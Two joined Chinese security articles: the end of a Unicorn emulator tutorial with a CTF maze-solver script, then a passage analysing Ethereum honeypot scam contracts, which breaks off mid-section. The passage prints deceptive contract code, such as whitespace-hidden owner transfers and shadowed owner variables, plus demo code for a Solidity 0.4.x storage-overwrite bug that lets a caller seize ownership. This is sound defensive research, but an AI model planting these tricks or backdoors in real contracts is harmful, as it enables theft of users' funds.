uc.reg_write(UC_X86_REG_R11, 0xe17e9dbec8c074aa)
uc.reg_write(UC_X86_REG_R12, 0x80f86a8dc0f6d457)
uc.reg_write(UC_X86_REG_R13, 0x48288ca5671c5492)
uc.reg_write(UC_X86_REG_R14, 0x595f72f6e4017f6e)
uc.reg_write(UC_X86_REG_R15, 0x1efd97aea331cccc)
uc.reg_write(UC_X86_REG_RSP, ADDRESS + 0x200000)
uc.reg_write(UC_X86_REG_RIP, CODE + 0x88)
rax = mu.reg_read(UC_X86_REG_RAX)
rbx = mu.reg_read(UC_X86_REG_RBX)
rcx = mu.reg_read(UC_X86_REG_RCX)
rdx = mu.reg_read(UC_X86_REG_RDX)
rsi = mu.reg_read(UC_X86_REG_RSI)
rdi = mu.reg_read(UC_X86_REG_RDI)
r8 = mu.reg_read(UC_X86_REG_R8)
r9 = mu.reg_read(UC_X86_REG_R9)
r10 = mu.reg_read(UC_X86_REG_R10)
r11 = mu.reg_read(UC_X86_REG_R11)
r12 = mu.reg_read(UC_X86_REG_R12)
r13 = mu.reg_read(UC_X86_REG_R13)
r14 = mu.reg_read(UC_X86_REG_R14)
r15 = mu.reg_read(UC_X86_REG_R15)
rsp = mu.reg_read(UC_X86_REG_RSP)
rip = mu.reg_read(UC_X86_REG_RIP)
支持对所有寄存器进行读写操作，只需要调用 reg_write 或者 reg_read 即可
### 内存读写
uc.mem_write(CODE, CODE_DATA)
uc.mem_read(rbp, 8)
mem_write：第一个参数传递要写入的地址，第二个参数传递要写入的数据
mem_read：第一个参数传递要读取的地址，第二个参数传递要读取的长度
### 内存映射
uc.mem_map(ADDRESS, 2 * 1024 * 1024)
mem_map：第一个参数传递要映射的地址，第二个参数传递要映射的长度（按页对齐）。
如果要执行代码，那么必须需要先映射一块内存地址，然后再通过内存的读写把代码数据写入后执行。
### 钩子
#### 对每个块的回调
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
uc.hook_add(UC_HOOK_BLOCK, hook_block)
#### 对每一行代码的回调
def hook_code64(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size))
rip = uc.reg_read(UC_X86_REG_RIP)
print(">>> RIP is 0x%x" %rip);
uc.hook_add(UC_HOOK_CODE, hook_code64, None, ADDRESS, ADDRESS+20)
#### 无效内存访问的回调
def hook_mem_invalid(uc, access, address, size, value, user_data):
if access == UC_MEM_WRITE_UNMAPPED:
print(">>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \
%(address, size, value))
# map this memory in with 2MB in size
uc.mem_map(0xaaaa0000, 2 * 1024*1024)
# return True to indicate we want to continue emulation
return True
else:
# return False to indicate we want to stop emulation
return False
mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, hook_mem_invalid)
#### 内存访问的回调
def hook_mem_access(uc, access, address, size, value, user_data):
if access == UC_MEM_WRITE:
print(">>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \
%(address, size, value))
else: # READ
print(">>> Memory is being READ at 0x%x, data size = %u" \
%(address, size))
uc.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)
uc.hook_add(UC_HOOK_MEM_READ, hook_mem_access)
#### 针对某个指令的回调
def hook_syscall(uc, user_data):
arg_regs = [UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_R10, UC_X86_REG_R8, UC_X86_REG_R9]
rax = uc.reg_read(UC_X86_REG_RAX)
if rax in SYSCALL_MAP.keys():
ff, n = SYSCALL_MAP[rax]
args = []
while n > 0:
args.append(uc.reg_read(arg_regs.pop(0)))
n -= 1
try:
ret = ff(uc, *args) & 0xffffffffffffffff
except Exception as e:
uc.emu_stop()
return
else:
ret = 0xffffffffffffffff
uc.reg_write(UC_X86_REG_RAX, ret)
SYSCALL_MAP = {
0: (sys_read, 3),
1: (sys_write, 3),
60: (sys_exit, 1),
}
uc.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL)
由于并不是程序中的所有代码都可以成功模拟，所以需要对程序的内容进行一些 hook，通过这些 hook 来模拟一些代码的执行（例如 syscall
无法模拟，就需要使用回调的方式模拟 syscall 的执行），也正是通过这些 Hook 操作，使得我们程序的灵活性大大增强，可以实现各种各样的功能。
### 开始和结束
uc.emu_start(CODE, CODE + 0x3000 - 1)
uc.emu_stop()
emu_start：来执行模拟，第一个参数填写模拟的开始地址，第二个参数填写模拟的结束地址
emu_stop：用来结束模拟
## 实战
通过对 unicorn 函数的基本学习，我们大概知道了 unicorn 该如何使用，接下来就来实战模拟来做一道题 – MTCTF2021 100mazes
题目实现了 100 个迷宫，并且每个迷宫的内容各不相同。
### 为何要用 unicorn？
迷宫的逻辑比较简单，只要从它给出的起点开始走 15 步，并且这 15
步不碰到任何的“墙壁”即可通过。但是任何一个迷宫都是使用代码进行写入迷宫数据，这使得我们难以直接使用 IDA
提取所有数据，并且对于每个迷宫代表的行动方向的字符和起点也不一样，这使得我们很难手动对所有的函数进行处理。
这时候，这样的题目我们可以可以考虑使用 unicorn 来提取迷宫的变量，从而自动化的处理，加快做题的速度，拿到一血。
### 提取变量数据
观察到栈上的数据是这样的，我们可以直接根据 rbp 来寻址提取各个数据的内容，然后再进行解密操作。
### 寻找结束位置
并且注意到这里有一个 getchar 函数，由于我们没有装载 libc，所以这个函数是无法被 unicorn
所模拟的，我们就可以以这里为当前迷宫读取结束的位置，hook 所有执行到这个函数的代码，并且数据进行解析，并且在执行完这个函数后执行 retn
到上一层的函数。
### 代码分析
由于本文主要侧重点不在于迷宫代码上，所以不分析如何求解这个迷宫的这个算法模型上，而是着重在于如何提取数据来实战应用上，这是一个解题的思路，当下次遇到的时候，可能就不再是迷宫题而是其他题目了，需要灵活的运用。from
hashlib import md5
from hashlib import md5
from pwn import *
from unicorn import *
from unicorn.x86_const import *
BASE = 0
CODE = BASE + 0x0
CODE_SIZE = 0x100000
STACK = 0x7F00000000
STACK_SIZE = 0x100000
FS = 0x7FF0000000
FS_SIZE = 0x100000
CODE_DATA = ""
dx = [0, 0, -1, 1]
dy = [-1, 1, 0, 0]
str_map = "WSAD"
ans = ""
map_data = []
ans_map = {}
all_input = ""
def dfs(t, f_x, f_y, x, y):
global map_data, str_map, ans_map, ans, dx, dy
if t == 15:
# print('ok')
return True
for i in range(4):
nx = x + dx[i]
ny = y + dy[i]
if 0 <= nx < 25 and 0 <= ny < 25 and not (f_x == nx and f_y == ny) and chr(map_data[ny * 25 + nx]) == '.':
if dfs(t + 1, x, y, nx, ny):
ans = str_map[i] + ans
return True
return False
def hook_code(uc, address, size, user_data):
global map_data, str_map, ans_map, ans, all_input
# print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' % (address, size))
assert isinstance(uc, Uc)
code = uc.mem_read(address, 4)
if code == b"\x48\x0F\xC7\xF0":
uc.reg_write(UC_X86_REG_RIP, address + 4)
if address == 0x640: # printf
rsp = uc.reg_read(UC_X86_REG_RSP)
retn_addr = u64(uc.mem_read(rsp, 8))
uc.reg_write(UC_X86_REG_RIP, retn_addr)
elif address == 0x650: # getchar
rbp = uc.reg_read(UC_X86_REG_RBP)
maze_data = uc.mem_read(rbp - 0xC6A, 0x625)
step_data = uc.mem_read(rbp - 0x9F9, 4).decode()
xor_data = uc.mem_read(rbp - 0x9D0, 0x9C4)
lr_val = u32(uc.mem_read(rbp - 0x9F4, 4))
ur_val = u32(uc.mem_read(rbp - 0x9F0, 4))
maze_data = list(maze_data)
for i in range(0, 0x9C4, 4):
maze_data[i // 4] ^= u32(xor_data[i: i + 4])
for i in range(25):
line_data = ""
for j in range(25):
line_data += chr(maze_data[i * 25 + j])
# print(line_data)
map_data = maze_data
str_map = step_data
ans = ""
assert dfs(0, -1, -1, lr_val, ur_val)
# print(ans)
all_input += ans
# leave;ret
rbp = uc.reg_read(UC_X86_REG_RBP)
new_rbp = u64(uc.mem_read(rbp, 8))
retn_addr = u64(uc.mem_read(rbp + 8, 8))
uc.reg_write(UC_X86_REG_RBP, new_rbp)
uc.reg_write(UC_X86_REG_RSP, rbp + 0x18)
uc.reg_write(UC_X86_REG_RIP, retn_addr)
def init(uc):
uc.mem_map(CODE, CODE_SIZE, UC_PROT_ALL)
uc.mem_map(STACK, STACK_SIZE, UC_PROT_ALL)
uc.mem_write(CODE, CODE_DATA)
uc.reg_write(UC_X86_REG_RSP, STACK + 0x1000)
uc.hook_add(UC_HOOK_CODE, hook_code)
if __name__ == '__main__':
with open('C:\\Users\\wjh\\Desktop\\100mazes', "rb") as f:
CODE_DATA = f.read()
uc = Uc(UC_ARCH_X86, UC_MODE_64)
main_addr = 0x00000000000A6AA8
main_end = 0x00000000000A7344
init(uc)
try:
uc.emu_start(CODE + main_addr, CODE + main_end)
except Exception as e:
print(e)
print(all_input)
d = md5(all_input.encode()).hexdigest()
print("flag{" + d[0:8] + "-" + d[8:12] + "-" + d[12:16] + "-" + d[16:20] + "-" + d[20:32] + "}")
可以结合上述的描述来尝试理解一下代码，我这里分析几处比较重要的地方
首先是，程序中除了代码空间还存在栈空间，所以我们除了需要映射代码空间，还需要映射一块足够大的栈空间，并且赋值给 RSP
寄存器适当的位置（最好选择一个中间位置）。
接下来我是用一个 hook
钩子来对每一行指令进行检查（在实际使用的时候都最好先挂上这样的一个钩子便于确认程序在哪里出现了异常），并且为了偷懒，直接在这个钩子中对地址进行判断来做相应的操作。
1.对 rdrand rax 这个指令直接跳过，因为似乎 unicorn
无法正确的识别这个指令，并且这个指令对程序流程并没有实际上的影响，所以这里我直接跳过。
2.对 printf 函数直接跳过，但是由于 plt[@printf](https://github.com/printf "@printf")
的实现问题，我这里需要手动模拟 retn 操作，这再次体现了 unicorn 的灵活性。
3.对于遇到 getchar 函数的时候，执行读取迷宫数据操作，读取之后进行 dfs 寻找答案，并组合输出，由于题目要求的是对最后的所有输入取 md5 作为
flag，所以这里还保存了所有的输入。这里我尝试手动模拟了 leave;ret
来返回到主函数，不进行后续的验证，不知道还没有更好的解决方法，请各位师傅指教。
## 总结
unicorn 的实用价值非常的高，他的实现也非常的完善，相信以后在比赛中的出现也会越来越多，所以对于二进制方向的选手来说了解和掌握是必须的，例如这次比赛
Pwn 也出了一道结合 unicorn 的题目。本文对于 unicorn 的应用做了一些最为基础的介绍，希望本文文章抛砖引玉，能够看到各位师傅
unicorn 更为深刻的理解和使用。 | 社区文章 |
**作者：dawu &0x7F@知道创宇404区块链安全研究团队**
**时间：2018/06/26**
### 0x00 前言
在学习区块链相关知识的过程中，拜读过一篇很好的文章[《The phenomenon of smart contract
honeypots》](https://medium.com/@gerhard.wagner/the-phenomena-of-smart-contract-honeypots-755c1f943f7b)，作者详细分析了他遇到的三种蜜罐智能合约，并将相关智能合约整理收集到Github项目[smart-contract-honeypots](https://github.com/thec00n/smart-contract-honeypots)。
本文将对文中和评论中提到的 [smart-contract-honeypots](https://github.com/thec00n/smart-contract-honeypots) 和 [Solidlity-Vulnerable](https://github.com/misterch0c/Solidlity-Vulnerable)
项目中的各蜜罐智能合约进行分析，根据分析结果将蜜罐智能合约的欺骗手段分为以下四个方面：
* 古老的欺骗手段
* 神奇的逻辑漏洞
* 新颖的赌博游戏
* 黑客的漏洞利用
基于已知的欺骗手段，我们通过内部的以太坊智能合约审计系统一共寻找到 `118` 个蜜罐智能合约地址，一共骗取了 `34.7152916`
个以太币（`2018/06/26` 价值 `102946` 元人民币），详情请移步文末附录部分。
### 0x01 古老的欺骗手段
> 对于该类蜜罐合约来说，仅仅使用最原始的欺骗手法。
> 这种手法是拙劣的，但也有着一定的诱导性。
#### 1.1 超长空格的欺骗：WhaleGiveaway1
* Github地址：[smart-contract-honeypots/WhaleGiveaway1.sol](https://github.com/thec00n/smart-contract-honeypots/blob/master/WhaleGiveaway1.sol)
* 智能合约地址：[0x7a4349a749e59a5736efb7826ee3496a2dfd5489](https://etherscan.io/address/0x7a4349a749e59a5736efb7826ee3496a2dfd5489#code)
在 `github` 上看到的合约代码如下：
细读代码会发现 `GetFreebie()` 的条件很容易被满足:
if(msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
只要转账金额大于 `1 ether`，就可以取走该智能合约里所有的以太币。
但事实绝非如此，让我们做出错误判断的原因在于 `github` 在显示超长行时不会自动换行。下图是设置了自动换行的本地编辑器截图：
图中第 `21` 行和第 `29` 行就是蜜罐作者通过 `超长空格` 隐藏起来的代码。所以实际的 `脆弱点` 是这样的：
if(msg.value>1 ether)
{
Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
先将账户余额转给合约的创立者，然后再将剩余的账户余额（也就是0）转给转账的用户（受害者）
与之类似的智能合约还有 `TestToken`，留待有兴趣的读者继续分析：
* Github地址：[smart-contract-honeypots/TestToken.sol](https://github.com/thec00n/smart-contract-honeypots/blob/master/TestToken.sol)
### 0x02 神奇的逻辑漏洞
> 该类蜜罐合约用 2012年春晚小品《天网恢恢》中这么一段来表现最为合适：
>
> 送餐员： 外卖一共30元
> 骗子B： 没零的，100！
> 送餐员： 行，我找你......70!（送餐员掏出70给骗子B）
> 骗子A： 哎，等会儿等会儿，我这有零的，30是吧，把那100给我吧！给，30！（骗子A拿走了B给送餐员的100元，又给了送餐员30元）
> 送餐员： 30元正好，再见!
>
> 该类漏洞也是如此，在看起来正常的逻辑下，总藏着这样那样的陷阱。
#### 2.1 天上掉下的馅饼：Gift_1_ETH
* Github地址：[smart-contract-honeypots/Gift_1_ETH.sol](https://github.com/thec00n/smart-contract-honeypots/blob/master/Gift_1_ETH.sol)
* 智能合约地址：[0xd8993F49F372BB014fB088eaBec95cfDC795CBF6](https://etherscan.io/address/0xd8993f49f372bb014fb088eabec95cfdc795cbf6)
* 合约关键代码如下：
contract Gift_1_ETH
{
bool passHasBeenSet = false;
bytes32 public hashPass;
function SetPass(bytes32 hash)
payable
{
if(!passHasBeenSet&&(msg.value >= 1 ether))
{
hashPass = hash;
}
}
function GetGift(bytes pass) returns (bytes32)
{
if( hashPass == sha3(pass))
{
msg.sender.transfer(this.balance);
}
return sha3(pass);
}
function PassHasBeenSet(bytes32 hash)
{
if(hash==hashPass)
{
passHasBeenSet=true;
}
}
}
整个智能合约的逻辑很简单，三个关键函数功能如下：
* `SetPass()`: 在转账大于 `1 ether` 并且 `passHasBeenSet` 为 `false` (默认值就是`false`),就可以设置密码 `hashPass`。
* `GetGift()`: 在输入的密码加密后与 `hashPass` 相等的情况下，就可以取走合约里所有的以太币。
* `PassHasBeenSet()`：如果输入的 `hash` 与 `hashPass` 相等，则 `passHasBeenSet` 将会被设置成 `true`。
如果我们想取走合约里所有的以太币，只需要按照如下流程进行操作：
推特用户 [`Alexey Pertsev`](https://twitter.com/_p4lex/status/976358776516292608)
还为此写了一个获取礼物的
[`EXP`](https://gist.github.com/pertsev/0a1e1db9b000481d20358bc382201206)。
但实际场景中，受害者转入一个以太币后并没有获取到整个智能合约的余额，这是为什么呢？
这是因为在合约创立之后，任何人都可以对合约进行操作，包括合约的创建者：
合约创建者在合约 `被攻击` 前，设置一个只有创建者知道的密码并将 `passHasBeenSet` 置为
`True`，将只有合约创建者可以取出智能合约中的以太币。
与之类似的智能合约还有 `NEW_YEARS_GIFT`：
* Github地址：[Solidlity-Vulnerable/honeypots/NEW_YEARS_GIFT.sol](https://github.com/misterch0c/Solidlity-Vulnerable/blob/master/honeypots/NEW_YEARS_GIFT.sol)
* 智能合约地址：[0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B](https://etherscan.io/address/0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B)
#### 2.2 合约永远比你有钱：MultiplicatorX3
* Github地址：[smart-contract-honeypots/MultiplicatorX3.sol](https://github.com/thec00n/smart-contract-honeypots/blob/master/MultiplicatorX3.sol) [smart-contract-honeypots/Multiplicator.sol](https://github.com/thec00n/smart-contract-honeypots/blob/master/Multiplicator.sol)
* 智能合约地址：[0x5aA88d2901C68fdA244f1D0584400368d2C8e739](https://etherscan.io/address/0x5aA88d2901C68fdA244f1D0584400368d2C8e739#code)
* 合约关键代码如下：
function multiplicate(address adr)
public
payable
{
if(msg.value>=this.balance)
{
adr.transfer(this.balance+msg.value);
}
}
对于 `multiplicate()` 而言，只要你转账的金额大于账户余额，就可以把 `账户余额` 和 `你本次转账的金额` 都转给一个可控的地址。
在这里我们需要知道：在调用 `multiplicate()` 时，账户余额 = 之前的账户余额 + 本次转账的金额。所以 `msg.value >=
this.balance` 只有在原余额为0，转账数量为0的时候才会成立。也就意味着，账户余额永远不会比转账金额小。
与之类似的智能合约还有 `PINCODE`：
* Github地址：[Solidlity-Vulnerable/honeypots/PINCODE.sol](https://github.com/misterch0c/Solidlity-Vulnerable/blob/master/honeypots/PINCODE.sol)
* 智能合约地址：[0x35c3034556b81132e682db2f879e6f30721b847c](https://etherscan.io/address/0x35c3034556b81132e682db2f879e6f30721b847c#code)
#### 2.3 谁是合约主人：TestBank
* Github地址：[smart-contract-honeypots/TestBank.sol](https://github.com/thec00n/smart-contract-honeypots/blob/master/TestBank.sol)
* 智能合约地址：[0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9](https://etherscan.io/address/0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9#code)
* 合约关键代码如下:
contract Owned {
address public owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract TestBank is Owned {
address public owner = msg.sender;
uint256 ecode;
uint256 evalue;
function useEmergencyCode(uint256 code) public payable {
if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
}
function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);
}
根据关键代码的内容，如果我们可以通过 `useEmergencyCode()` 中的判断，那就可以将 `owner` 设置为我们的地址，然后通过
`withdraw()` 函数就可以取出合约中的以太币。
如果你也有了上述的分析，那么就需要学习一下 `Solidity`
中继承的相关知识[参考链接5](https://blog.csdn.net/Programmer_CJC/article/details/80042261)：
> 该部分引用自参考链接5
> 重点：Solidity的继承原理是代码拷贝，因此换句话说，继承的写法总是能够写成一个单独的合约。
> 情况五：子类父类有相同名字的变量。
> 父类A的test1操纵父类中的variable，子类B中的test2操纵子类中的variable，父类中的test2因为没被调用所以不存在。
> 解释：对EVM来说，每个storage variable都会有一个唯一标识的slot
> id。在下面的例子说，虽然都叫做variable，但是从bytecode角度来看，他们是由不同的slot id来确定的，因此也和变量叫什么没有关系。
contract A{
uint variable = 0;
function test1(uint a) returns(uint){
variable++;
return variable;
}
function test2(uint a) returns(uint){
variable += a;
return variable;
}
}
contract B is A{
uint variable = 0;
function test2(uint a) returns(uint){
variable++;
return variable;
}
}
====================
contract B{
uint variable1 = 0;
uint variable2 = 0;
function test1(uint a) returns(uint v){
variable1++;
return variable1;
}
function test2(uint a) returns(uint v){
variable2++;
return variable2;
}
}
根据样例中的代码，我们将该合约的核心代码修改如下：
contract TestBank is Owned {
address public owner1 = msg.sender;
modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }
address public owner2 = msg.sender;
uint256 ecode;
uint256 evalue;
function useEmergencyCode(uint256 code) public payable {
if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;
}
function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);
}
变量 `owner1` 是父类 `Owner` 中的 `owner` 变量，而 `owner2` 是子类 `TestBank`
中的变量。`useEmergencyCode()`函数只会修改 `owner2`，而非 `owner1`，自然无法调用 `withdraw()`。 由于调用
`useEmergencyCode()` 时需要转作者设置的 `evalue wei` 的以太币，所以只会造成以太币白白丢失。
### 0x03 新颖的赌博游戏
> 区块链的去中心化给博彩行业带来了新的机遇，然而久赌必输这句话也不无道理。
> 本章将会给介绍四个基于区块链的赌博游戏并分析庄家如何赢钱的。
#### 3.1 加密轮盘赌轮：CryptoRoulette
* Github地址：[smart-contract-honeypots/CryptoRoulette.sol](https://github.com/thec00n/smart-contract-honeypots/blob/master/CryptoRoulette.sol) [Solidlity-Vulnerable/honeypots/CryptoRoulette.sol](https://github.com/misterch0c/Solidlity-Vulnerable/blob/master/honeypots/CryptoRoulette.sol)
* 智能合约地址：[0x94602b0E2512DdAd62a935763BF1277c973B2758](https://etherscan.io/address/0x94602b0E2512DdAd62a935763BF1277c973B2758#code)
* 合约关键代码如下：
// CryptoRoulette
//
// Guess the number secretly stored in the blockchain and win the whole contract balance!
// A new number is randomly chosen after each try.
//
// To play, call the play() method with the guessed number (1-20). Bet price: 0.1 ether
contract CryptoRoulette {
uint256 private secretNumber;
uint256 public lastPlayed;
uint256 public betPrice = 0.1 ether;
address public ownerAddr;
struct Game {
address player;
uint256 number;
}
function shuffle() internal {
// randomly set secretNumber with a value between 1 and 20
secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;
}
function play(uint256 number) payable public {
require(msg.value >= betPrice && number <= 10);
Game game;
game.player = msg.sender;
game.number = number;
gamesPlayed.push(game);
if (number == secretNumber) {
// win!
msg.sender.transfer(this.balance);
}
shuffle();
lastPlayed = now;
}
function kill() public {
if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
suicide(msg.sender);
}
}
}
该合约设置了一个 `1-20` 的随机数：`secretNumber`,玩家通过调用 `play()`
去尝试竞猜这个数字，如果猜对，就可以取走合约中所有的钱并重新设置随机数 `secretNumber`。
这里存在两层猫腻。第一层猫腻就出在这个 `play()`。`play()` 需要满足两个条件才会运行：
1. msg.value >= betPrice，也就是每次竞猜都需要发送至少 `0.1` 个以太币。
2. number <= 10，竞猜的数字不能大于 `10`。
由于生成的随机数在 `1-20` 之间，而竞猜的数字不能大于 `10`， 那么如果随机数大于 `10`
呢？将不会有人能竞猜成功！所有被用于竞猜的以太币都会一直存储在智能合约中。最终合约拥有者可以通过 `kill()` 函数取出智能合约中所有的以太币。
在实际的场景中，我们还遇到过生成的随机数在 `1-10` 之间，竞猜数字不能大于 `10`
的智能合约。这样的合约看似保证了正常的竞猜概率，但却依旧是蜜罐智能合约！这与前文说到的第二层猫腻有关。我们将会在下一节 `3.2
开放地址彩票：OpenAddressLottery` 中说到相关细节。有兴趣的读者可以读完 `3.2节` 后再回来重新分析一下该合约。
#### 3.2 开放地址彩票：OpenAddressLottery
##### 3.2.1 蜜罐智能合约分析
* Github地址：[Solidlity-Vulnerable/honeypots/OpenAddressLottery.sol](https://github.com/misterch0c/Solidlity-Vulnerable/blob/master/honeypots/OpenAddressLottery.sol)
* 智能合约地址：[0xd1915A2bCC4B77794d64c4e483E43444193373Fa](https://etherscan.io/address/0xd1915A2bCC4B77794d64c4e483E43444193373Fa#code)
* 合约关键代码如下：
contract OpenAddressLottery{
struct SeedComponents{
uint component1;
uint component2;
uint component3;
uint component4;
}
address owner; //address of the owner
uint private secretSeed; //seed used to calculate number of an address
uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks
uint LuckyNumber = 1; //if the number of an address equals 1, it wins
function forceReseed() { //reseed initiated by the owner - for testing purposes
require(msg.sender==owner);
SeedComponents s;
s.component1 = uint(msg.sender);
s.component2 = uint256(block.blockhash(block.number - 1));
s.component3 = block.difficulty*(uint)(block.coinbase);
s.component4 = tx.gasprice * 7;
reseed(s); //reseed
}
}
`OpenAddressLottery`的逻辑很简单，每次竞猜，都会根据竞猜者的地址随机生成 0 或者 1，如果生成的值和 `LuckyNumber`
相等的话（`LuckyNumber`初始值为`1`），那么竞猜者将会获得 `1.9` 倍的奖金。
对于安全研究人员来说，这个合约可能是这些蜜罐智能合约中 **价值最高的一个** 。在这里，我将会使用一个 `demo` 来说一说 `Solidity`
编译器的一个 `bug`:
pragma solidity ^0.4.24;
contract OpenAddressLottery_test
{
address public addr = 0xa;
uint public b = 2;
uint256 public c = 3;
bytes public d = "zzzz";
struct SeedComponents{
uint256 component1;
uint256 component2;
uint256 component3;
uint256 component4;
}
function test() public{
SeedComponents s;
s.component1 = 252;
s.component2 = 253;
s.component3 = 254;
s.component4 = 255;
}
}
在运行 `test()` 之前，`addr`、`b`、`c`、`d`的值如下图所示：
在运行了 `test()` 之后，各值均被覆盖。
这个 `bug` 已经被提交给[官方](https://github.com/ethereum/solidity/issues/1789)，并将在
`Solidity 0.5.0` 中被修复。
**截止笔者发文，`Solidity 0.5.0` 依旧没有推出。这也就意味着，目前所有的智能合约都可能会受到该 `bug` 的影响。我们将会在
3.2.2节 中说一说这个 `bug` 可能的影响面。想了解蜜罐智能合约而非bug攻击面的读者可以跳过这一小节**
对于该蜜罐智能合约而言，当 `forceReseed()`被调用后，`s.component4 = tx.gasprice * 7;` 将会覆盖掉
`LuckyNumber` 的值，使之为 `7`。而用户生成的竞猜数字只会是 `1` 或者 `0`，这也就意味着用户将永远不可能赢得彩票。
##### 3.2.2 `Solidity 0.4.x` 结构体局部变量引起的变量覆盖
在 `3.2.1节`中，介绍了`OpenAddressLottery`
智能合约使用未初始化的结构体局部变量直接覆盖智能合约中定义的前几个变量，从而达到修改变量值的目的。
按照这种思路，特意构造某些参数的顺序，比如将智能合约的余额值放在首部，那么通过变量覆盖就可以修改余额值;除此之外，如果智能合约中常用的 `owner`
变量定义在首部，便可以造成权限提升。
`示例代码1`如下(编译器选择最新的`0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang`)：
pragma solidity ^0.4.0;
contract Test {
address public owner;
address public a;
struct Seed {
address x;
uint256 y;
}
function Test() {
owner = msg.sender;
a = 0x1111111111111111111111111111111111111111;
}
function fake_foo(uint256 n) public {
Seed s;
s.x = msg.sender;
s.y = n;
}
}
如图所示，攻击者 `0x583031d1113ad414f02576bd6afabfb302140225` 在调用 `fake_foo()` 之后，成功将
`owner` 修改成自己。
在 `2.3节` 中，介绍了 `Solidity` 的继承原理是代码拷贝。也就是最终都能写成一个单独的合约。这也就意味着，该 `bug`
也会影响到被继承的父类变量，`示例代码2`如下：
pragma solidity ^0.4.0;
contract Owner {
address public owner;
modifier onlyOwner {
require(owner == msg.sender);
_;
}
}
contract Test is Owner {
struct Seed {
address x;
}
function Test() {
owner = msg.sender;
}
function fake_foo() public {
Seed s;
s.x = msg.sender;
}
}
相比于`示例代码1`，`示例代码2` 更容易出现在现实生活中。由于 `示例代码2` 配合复杂的逻辑隐蔽性较高，更容易被不良合约发布者利用。比如利用这种特性留
`后门`。
在[参考链接10](https://github.com/ethereum/solidity/issues/1789)中，开发者认为由于某些原因，让编译器通过警告的方式通知用户更合适。所以在目前
`0.4.x` 版本中，编译器会通过警告的方式通知智能合约开发者；但这种存在安全隐患的代码是可以通过编译并部署的。
**`solidity` 开发者将在 `0.5.0` 版本将该类问题归于错误处理。**
#### 3.3 山丘之王：KingOfTheHill
* Github地址：[Solidlity-Vulnerable/honeypots/KingOfTheHill.sol](https://github.com/misterch0c/Solidlity-Vulnerable/blob/master/honeypots/KingOfTheHill.sol)
* 智能合约地址：[0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a](https://etherscan.io/address/0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a#code)
* 合约关键代码如下：
contract Owned {
address owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner{
if (msg.sender != owner)
revert();
_;
}
}
contract KingOfTheHill is Owned {
address public owner;
function() public payable {
if (msg.value > jackpot) {
owner = msg.sender;
withdrawDelay = block.timestamp + 5 days;
}
jackpot+=msg.value;
}
function takeAll() public onlyOwner {
require(block.timestamp >= withdrawDelay);
msg.sender.transfer(this.balance);
jackpot=0;
}
}
这个合约的逻辑是：每次请求 `fallback()`，变量 `jackopt` 就是加上本次传入的金额。如果你传入的金额大于之前的 `jackopt`，那么
`owner` 就会变成你的地址。
看到这个代码逻辑，你是否感觉和 `2.2节` 、 `2.3节` 有一定类似呢？
让我们先看第一个问题：`msg.value > jackopt`是否可以成立？答案是肯定的，由于 `jackopt+=msg.value` 在
`msg.value > jackopt` 判断之后，所以不会出现 `2.2节` 合约永远比你钱多的情况。
然而这个合约存在与 `2.3节` 同样的问题。在 `msg.value > jackopt` 的情况下，`KingOfTheHill` 中的 `owner`
被修改为发送者的地址，但 `Owned` 中的 `owner` 依旧是合约创建人的地址。这也就意味着取钱函数 `takeAll()`
将永远只有庄家才能调用，所有的账户余额都将会进入庄家的口袋。
与之类似的智能合约还有 `RichestTakeAll`：
* Github地址：[Solidlity-Vulnerable/honeypots/RichestTakeAll.sol](https://github.com/misterch0c/Solidlity-Vulnerable/blob/master/honeypots/RichestTakeAll.sol)
* 智能合约地址：[0xe65c53087e1a40b7c53b9a0ea3c2562ae2dfeb24](https://etherscan.io/address/0xe65c53087e1a40b7c53b9a0ea3c2562ae2dfeb24#code)
#### 3.4 以太币竞争游戏：RACEFORETH
* Github地址：[Solidlity-Vulnerable/honeypots/RACEFORETH.sol](https://github.com/misterch0c/Solidlity-Vulnerable/blob/master/honeypots/RACEFORETH.sol)
* 合约关键代码如下：
contract RACEFORETH {
uint256 public SCORE_TO_WIN = 100 finney;
uint256 public speed_limit = 50 finney;
function race() public payable {
if (racerSpeedLimit[msg.sender] == 0) { racerSpeedLimit[msg.sender] = speed_limit; }
require(msg.value <= racerSpeedLimit[msg.sender] && msg.value > 1 wei);
racerScore[msg.sender] += msg.value;
racerSpeedLimit[msg.sender] = (racerSpeedLimit[msg.sender] / 2);
latestTimestamp = now;
// YOU WON
if (racerScore[msg.sender] >= SCORE_TO_WIN) {
msg.sender.transfer(PRIZE);
}
}
function () public payable {
race();
}
}
这个智能合约有趣的地方在于它设置了最大转账上限是 `50 finney`，最小转账下限是 `2 wei`(条件是大于 `1 wei`，也就是最小 `2
